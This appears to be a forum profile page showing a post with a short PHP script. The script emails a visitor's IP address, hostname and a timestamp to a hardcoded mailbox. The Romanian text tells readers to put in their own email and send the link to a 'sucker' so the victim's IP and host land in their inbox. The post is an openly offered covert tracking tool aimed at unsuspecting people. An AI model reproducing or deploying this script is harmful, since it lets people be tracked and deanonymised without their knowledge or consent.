Jump to content

mc1

Active Members
  • Posts

    377
  • Joined

  • Last visited

    Never
  • Days Won

    1

Posts posted by mc1

  1. <?

    $ip = $REMOTE_ADDR;

    $host = gethostbyaddr($ip);

    $date = date("d/m/Y H:i:s");

    $email = "coiz@daulabuci.com";

    $sujet = "Ip + Host";

    $message = "<html><body>Moment : $date

    Ip : $ip

    Host : $host</body></html>";

    if(mail($email,$sujet,$message,"Content-Type: text/html")){

    echo "Ownneeed";}

    else { echo "Shit ?";}

    ?>

    SKmba coiz@daulabuci.com cu adresa ta

    Fa un doc. php da linku unui fraier si primesti in inbox ipul si host-ul lui

×
×
  • Create New...